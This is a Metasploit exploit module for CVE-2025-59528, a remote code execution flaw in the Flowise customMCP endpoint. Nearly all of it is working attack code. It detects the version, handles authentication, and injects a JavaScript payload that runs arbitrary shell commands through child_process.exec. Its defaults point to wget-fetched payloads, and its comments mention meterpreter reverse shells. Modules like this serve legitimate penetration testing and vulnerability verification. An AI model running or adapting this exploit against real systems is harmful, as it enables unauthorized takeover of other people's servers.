📄 Flowise JS Injection Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Flowise
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Flowise JS Injection RCE',
            'Description' => %q{
              This module exploits a remote code execution vulnerability in Flowise versions >= 2.2.7-patch.1
              and < 3.0.6. The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP)
              located in packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, which allows users to execute
              arbitrary commands via JavaScript code injection in the mcpServerConfig parameter using the
              convertToValidJSONString function that uses Function('return ' + inputString)(). For versions < 3.0.1,
              the exploit can work unauthenticated if FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables
              are not configured. For versions >= 3.0.1, authentication via FLOWISE_EMAIL and FLOWISE_PASSWORD is
              required due to JWT token verification.
            },
            'Author' => [
              'Kim SooHyun (im-soohyun)',                   # Vulnerability discovery
              'nltt0',                                      # Original exploit PoC
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-59528'],
              ['EDB', '52440']
            ],
            'Platform' => %w[unix linux win],
            'Arch' => [ARCH_CMD],
            'Payload' => {
              'BadChars' => "\x0d\x0a\x5c\x22" # \r \n \ "
            },
            'Targets' => [
              [
                'Unix/Linux Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET'
                  }
                  # tested with cmd/linux/http/x64/meterpreter_reverse_tcp
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter_reverse_tcp
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2025-09-13',
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 3000
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('FLOWISE_EMAIL', [false, 'Flowise email for JWT auth (required for versions >= 3.0.1)', '']),
          OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password (JWT for >= 3.0.1, Basic Auth for < 3.0.1)', '']),
          OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if env var is set)', ''])
        ])
      end
    
      def check
        version = flowise_get_version
        return CheckCode::Unknown('Could not retrieve Flowise version') unless version
    
        print_status("Flowise version detected: #{version}")
    
        # Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.6 (September 12, 2025)
        # Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7
        if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.6')
          base_msg = '(affected: >= 2.2.7-patch.1 and < 3.0.6)'
          auth_msg = version >= Rex::Version.new('3.0.1') ? ' (auth required)' : ' (may work unauthenticated)'
          return CheckCode::Appears("#{base_msg}#{auth_msg}")
        end
    
        CheckCode::Safe("Version #{version} is not vulnerable")
      end
    
      def execute_command(cmd, _opts = {})
        requires_auth = flowise_requires_auth?
        email = datastore['FLOWISE_EMAIL']
        password = datastore['FLOWISE_PASSWORD']
        has_credentials = !email.blank? && !password.blank?
    
        if requires_auth && !has_credentials
          fail_with(Failure::NoAccess, 'Authentication required - set FLOWISE_EMAIL and FLOWISE_PASSWORD')
        end
    
        if has_credentials
          begin
            flowise_login(email, password)
          rescue Msf::Exploit::Failed
            vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)') unless requires_auth
            raise if requires_auth
          end
        end
    
        # BadChars ensures \r \n \ " are not in the payload
        js_payload = '{x:(function(){const cp = process.mainModule.require("child_process");' \
                     "cp.exec(\"#{cmd}\",()=>{});return 1;})()}"
    
        payload_data = {
          'loadMethod' => 'listActions',
          'inputs' => {
            'mcpServerConfig' => js_payload
          }
        }
    
        opts = {
          username: datastore['FLOWISE_USERNAME'],
          password: datastore['FLOWISE_PASSWORD']
        }
    
        flowise_send_custommcp_request(payload_data, opts)
      end
    
      def exploit
        fail_with(Failure::PayloadFailed, 'Failed to run payload') unless execute_command(payload.encoded)
      end
    end